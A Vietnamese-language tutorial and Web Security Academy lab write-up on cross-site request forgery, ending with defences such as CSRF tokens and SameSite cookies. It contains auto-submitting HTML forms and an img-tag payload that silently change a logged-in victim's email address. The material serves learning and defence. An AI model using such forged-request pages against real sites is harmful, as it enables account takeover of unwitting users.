What is CSRF?

Là một lỗ hổng khiến giúp kẻ tấn công thực hiện các hành động dưới danh nghĩa của nạn nhân mà họ không hề hay biết. Đây là một lỗ hổng giúp tránh né same origin policy, vốn được tạo ra để đảm bảo các trang web khác nhau không can thiệp lẫn nhau.

Hình bên trên minh họa cho việc kẻ xấu làm thay đổi email của nạn nhân bằng cách gửi cho họ một liên kết độc hại.

How Does CSRF Work?

Để một cuộc tấn công CSRF xảy ra thì cần phải có đủ ba điều kiện:

  1. A relevant action: có một hành động (hoặc tính năng) nào đó trong ứng dụng mang lại lợi ích cho kẻ tấn công. Hành động này có thể là một hành động có đặc quyền (chẳng hạn như chỉnh sửa quyền hạn của các người dùng khác) hoặc một hành động liên quan đến người dùng cụ thể (chẳng hạn như thay đổi password của người dùng).
  2. Cookie-based session handling: ứng dụng dựa trên cookie để phân biệt các request của các user khác nhau.
  3. No unpredictable request parameters: request thực hiện action không được có thêm các tham số mà kẻ tấn công không thể đoán được. Ví dụ, nếu request thay đổi password yêu cầu truyền thêm password hiện tại thì kẻ tấn công sẽ không thể thực hiện CSRF attack.

Minh họa:

Giả sử ứng dụng có chức năng cho phép người dùng thay đổi email. Request thực hiện hành động này sẽ có dạng như sau:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
 
email=wiener@normal-user.com

Request trên đủ ba điều kiện của một cuộc tấn công CSRF:

  1. Hành động thay đổi email của người dùng có thể giúp cho attacker reset password. Điều này dẫn đến việc chiếm quyền tài khoản của người dùng.
  2. Ứng dụng sử dụng cookie để nhận diện request của từng người dùng.
  3. Attacker có thể dễ dàng xác định các giá trị của các tham số trong request cần để thực hiện action.

Khi đó, attacker có thể tạo ra một trang web của có chứa đoạn code HTML sau:

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit()
    </script>
  </body>
</html>

Khi người dùng truy cập vào trang web thì trang web sẽ:

  1. Gửi một HTTP request đến trang web có lỗ hổng (vulnerable-website.com) với method là POST và query param email có giá trị là pwned@evil-user.net.
  2. Nếu người dùng đã đăng nhập vào trang web có lỗ hổng thì cookie của người dùng sẽ được đính kèm trong request đó (giả sử cookie SameSite không được set).
  3. Trang web có lỗ hổng xử lý request một cách bình thường và thay đổi email thành pwned@evil-user.net.

How to Construct a CSRF Attack

Việc tạo ra các đoạn code HTML để thực hiện CSRF attack một cách thủ công có thể khá cồng kềnh, đặc biệt là khi request có chứa nhiều tham số. Cách dễ nhất để xây dựng CSRF exploit là sử dụng tính năng tạo CSRF PoC của Burp Suite Pro.

Lab: CSRF Vulnerability with No Defenses

Lab này yêu cầu thay đổi địa chỉ email của user sử dụng CSRF.

Đăng nhập vào user wiener với password là peter. Capture lại request thay đổi email, request này có dạng như sau:

POST /my-account/change-email HTTP/2
Host: 0a0c005503c2892682f2ba2600e60040.web-security-academy.net
Cookie: session=1Hb8Whe0A0cYjRonwVSjSuxHm4a9elft
Content-Length: 31
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a0c005503c2892682f2ba2600e60040.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0c005503c2892682f2ba2600e60040.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
 
email=wiener2%40normal-user.net

Dùng tính năng tạo CSRF PoC của Burp Suite Pro để tạo ra file HTML chứa đoạn code sau:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form
      action="https://0a0c005503c2892682f2ba2600e60040.web-security-academy.net/my-account/change-email"
      method="POST"
    >
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState("", "", "/")
      document.forms[0].submit()
    </script>
  </body>
</html>

Truy cập vào exploit server trong lab và paste payload trên rồi bấm nút Store để lưu.

Bấm vào nút View exploit để truy cập đến file HTML để test payload. Request gửi đi có dạng như sau:

POST /my-account/change-email HTTP/2
Host: 0a0c005503c2892682f2ba2600e60040.web-security-academy.net
Cookie: session=1Hb8Whe0A0cYjRonwVSjSuxHm4a9elft
Content-Length: 28
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0a3e00b303fc89ae82d5b9e001540044.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://exploit-0a3e00b303fc89ae82d5b9e001540044.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
 
email=csrf%40normal-user.net

Có thể thấy, header OriginReferer đã không còn là 0a0c005503c2892682f2ba2600e60040.web-security-academy.net. Kết quả là tài khoản wiener có email thay đổi từ wiener@normal-user.net thành csrf@normal-user.net.

Note

Theo gợi ý của lab, hệ thống không cho phép 2 email trùng nhau. Do đó, sau khi thay đổi email của user wiener thành csrf@normal-user.net thì ta cần set lại email trước đó (hoặc dùng email khác trong payload) trước khi nhấn nút Deliver exploit to victim để hoàn thành bài lab.

How to Deliver a CSRF Exploit

Cách để chuyển CSRF exploit cho nạn nhân cũng tương tự như Reflected XSS: attacker tạo ra code HTML độc hại trên một trang web mà hắn kiểm soát rồi dụ dỗ nạn nhân truy cập trang web đó. Attacker có thể dụ dỗ bằng cách gửi thông qua email, tin nhắn trên mạng xã hội hoặc ở trong phần comment của các trang web nổi tiếng.

Nếu CSRF exploit dùng phương thức GET thì thậm chí có thể không cần dùng đến exploit server mà có thể chèn trực tiếp vào trang web có lỗ hổng:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net"

Common Defences Against CSRF

Một số cách phòng chống CSRF attack:

CSRF Token

Là một token được tạo ra bởi server có tính độc nhất và bí mật. Token này được chia sẻ cho người dùng và người dùng sẽ gửi nó lại cho server khi thực hiện các hành động nhạy cảm chẳng hạn như submit form. Attacker không có token sẽ không tạo ra được một request phù hợp dưới danh nghĩa của nạn nhân.

Cách phổ biến để chia sẻ CSRF token cho người dùng là thêm nó vào một tham số ẩn trong HTML form:

<form name="change-email-form" action="/my-account/change-email" method="POST">
  <label>Email</label>
  <input required type="email" name="email" value="example@normal-website.com" />
  <input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u" />
  <button class="button" type="submit">Update email</button>
</form>

Submit form trên sẽ tạo ra request như sau:

POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
 
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com

Minh họa:

Note

CSRF token không nhất thiết phải được đặt trong tham số ẩn của một POST request. Một số ứng dụng đặt CSRF token trong các HTTP header. Cách này có hiệu quả bảo vệ tốt hơn do các trình duyệt không cho phép gửi các cross domain request mà có các custom header.

Tham khảo: How to prevent CSRF vulnerabilities | Web Security Academy (portswigger.net)

Vì CSRF token là một giá trị độc nhất và được thay đổi liên tục bởi server, sẽ rất khó khăn cho hacker để có thể tấn công bằng một URL/request nào đó đã được chuẩn bị sẵn từ trước.

Dù vậy, nếu trang web có lỗ hổng XSS thì hacker có thể sử dụng kỹ thuật tấn công XSS để trích xuất CSRF token ở trong DOM tree hoặc ở trong cookie1. Khi đó, chúng ta sẽ muốn người dùng nhập thêm thông tin khi thực hiện một sự thay đổi nào đó quan trọng.

Ví dụ, trước khi thay đổi username, email hoặc mật khẩu, chúng ta có thể yêu cầu người dùng nhập mật khẩu hiện tại. Bằng cách này, chúng ta có thể đảm bảo rằng request có chứa mật khẩu của người dùng sẽ không bị mạo danh.

SameSite

Là một cơ chế bảo mật của trình duyệt giúp xác định xem khi nào thì đính kèm cookie vào request có origin từ các trang web khác. Việc này có thể ngăn chặn attacker thực hiện những hành động cross-site. Kể từ năm 2021, Chrome mặc định dùng attribute2 SameSite với giá trị là Lax cho cookie được set bởi header Set-Cookie.

Referer-based Validation

Một số ứng dụng sử dụng header Referer để chống lại CSRF attacker bằng cách chỉ cho phép các request có referer đến từ chính domain của trang web. Cách này ít hiệu quả hơn việc dùng CSRF token.

Resources

Footnotes

  1. xem thêm SEED Lab - Cross Site Scripting

  2. xem thêm về các attribute của cookie: Using HTTP cookies - HTTP | MDN (mozilla.org)